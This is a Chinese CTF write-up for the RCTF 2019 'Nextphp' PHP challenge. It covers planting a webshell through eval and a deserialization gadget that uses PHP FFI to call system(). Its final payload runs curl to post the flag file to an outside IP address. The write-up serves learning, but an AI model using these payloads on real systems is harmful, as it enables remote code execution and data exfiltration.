[RCTF 2019]Nextphp
源码
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}
知识点
- https://www.php.net/manual/en/ffi.examples-basic.php
-
https://www.php.net/manual/en/ffi.examples-callback.php
解题步骤
一看直接一句话,可还行
打开phpinfo();
一堆函数被禁,而且open_basedir也被限制在了/html里
尝试各种open_basedir,结果全部能用的函数都被禁用了.
找了wp
原来是PHP FFI,又是没见过的东西,学习了
可以用file_put_contents('1.php','<?php eval($_POST[1]);')来传马
蚁剑连接,发现preload.php文件<?php final class A implements Serializable { protected $data = [ 'ret' => null, 'func' => 'print_r', 'arg' => '1' ]; private function run () { $this->data['ret'] = $this->data['func']($this->data['arg']); } public function __serialize(): array { return $this->data; } public function __unserialize(array $data) { array_merge($this->data, $data); $this->run(); } public function serialize (): string { return serialize($this->data); } public function unserialize($payload) { $this->data = unserialize($payload); $this->run(); } public function __get ($key) { return $this->data[$key]; } public function __set ($key, $value) { throw new \Exception('No implemented'); } public function __construct () { throw new \Exception('No implemented'); } }
考反序列化?
没见过的serialize和unserialize魔法函数
想办法利用run();
由于FFI不熟,而且看文档也看不出什么所以然来,只好贴大佬脚本<?php final class A implements Serializable { protected $data = [ 'ret' => null, 'func' => 'FFI::cdef', 'arg' => 'int system(char *command);' ]; private function run () { echo "run<br>"; $this->data['ret'] = $this->data['func']($this->data['arg']); } public function serialize () { return serialize($this->data); } public function unserialize($payload) { $this->data = unserialize($payload); $this->run(); } public function __get ($key) { return $this->data[$key]; } public function __set ($key, $value) { throw new \Exception('No implemented'); } public function __construct () { echo "__construct<br>"; } } $a = new A(); echo base64_encode(serialize($a));
估计是因为system被禁了,所以要base64加密
由于没有回显(估计是回显到了preload.php,而当前在inde.php中)
需要数据外带,也可以直接调用命令写入当前文件夹下的文件里面
payload:?a=unserialize(base64_decode('你自己跑出来的payload'))->__serialize()['ret']->system('curl -d @/flag 47.96.173.116:2333');
解释:将序列化的payload传入,然后反序列化后run,这时候,data['ret']=FFI::cdef(int system(char *commad));
然后serialize返回data数组,再用data['ret']传入FFI的参数,进行命令执行.
不懂为啥不能反弹shell,估计buu的靶机不好连